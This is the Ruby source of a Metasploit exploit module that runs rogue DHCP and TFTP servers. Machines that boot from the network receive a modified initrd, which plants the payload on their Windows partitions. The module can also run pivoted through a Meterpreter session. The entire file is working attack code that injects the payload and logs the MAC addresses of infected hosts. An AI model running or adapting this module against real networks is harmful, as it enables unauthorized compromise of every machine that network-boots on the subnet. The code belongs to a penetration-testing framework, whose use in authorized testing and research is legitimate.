## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/tftp' require 'rex/proto/dhcp' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report def initialize super( 'Name' => 'PXE Exploit Server', 'Description' => %q{ This module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing the payload on the hard drive of any Windows partition seen. Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses. }, 'Author' => [ 'scriptjunkie' ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 4500, 'DisableNops' => 'True', }, 'Platform' => 'win', 'DisclosureDate' => 'Aug 05 2011', 'Targets' => [ [ 'Windows Universal', { } ], ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultTarget' => 0 ) register_options( [ OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ]) ], self.class) register_advanced_options( [ OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) ], self.class) end def exploit if not datastore['TFTPROOT'] datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') end datastore['FILENAME'] = "update1" datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! # Prepare payload print_status("Creating initrd") initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom')) uncompressed = Rex::Text.ungzip(initrd) payl = payload.generate uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl initrd = Rex::Text.gzip(uncompressed) # Meterpreter attack if framework.sessions.include? datastore['SESSION'] client = framework.sessions[datastore['SESSION']] if not client.lanattacks print_status("Loading lanattacks extension...") client.core.use("lanattacks") else if datastore['RESETPXE'] print_status("Resetting PXE attack...") client.lanattacks.dhcp.reset end end print_status("Loading DHCP options...") client.lanattacks.dhcp.load_options(datastore) 0.upto(4) do |i| print_status("Loading file #{i+1} of 5") if i < 4 contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) else contents = initrd end client.lanattacks.tftp.add_file("update#{i}",contents) end print_status("Starting TFTP server...") client.lanattacks.tftp.start print_status("Starting DHCP server...") client.lanattacks.dhcp.start print_status("pxesploit attack started") while (true) do begin # get stats every 20s select(nil, nil, nil, 20) client.lanattacks.dhcp.log.each do |item| print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ "(#{Rex::Socket.addr_ntoa(item[1])})") report_note({ :type => 'PXE.client', :data => item[0].unpack('H2H2H2H2H2H2').join(':') }) end rescue ::Interrupt print_status("Stopping TFTP server...") client.lanattacks.tftp.stop print_status("Stopping DHCP server...") client.lanattacks.dhcp.stop print_status("PXEsploit attack stopped") return end end end # normal attack print_status("Starting TFTP server...") @tftp = Rex::Proto::TFTP::Server.new @tftp.set_tftproot(datastore['TFTPROOT']) @tftp.register_file('update4',initrd) @tftp.start print_status("Starting DHCP server...") @dhcp = Rex::Proto::DHCP::Server.new( datastore ) @dhcp.report do |mac, ip| print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ "(#{Rex::Socket.addr_ntoa(ip)})") report_note({ :type => 'PXE.client', :data => mac.unpack('H2H2H2H2H2H2').join(':') }) end @dhcp.start print_status("pxesploit attack started") # Wait for finish.. @tftp.thread.join @dhcp.thread.join print_status("pxesploit attack completed") end end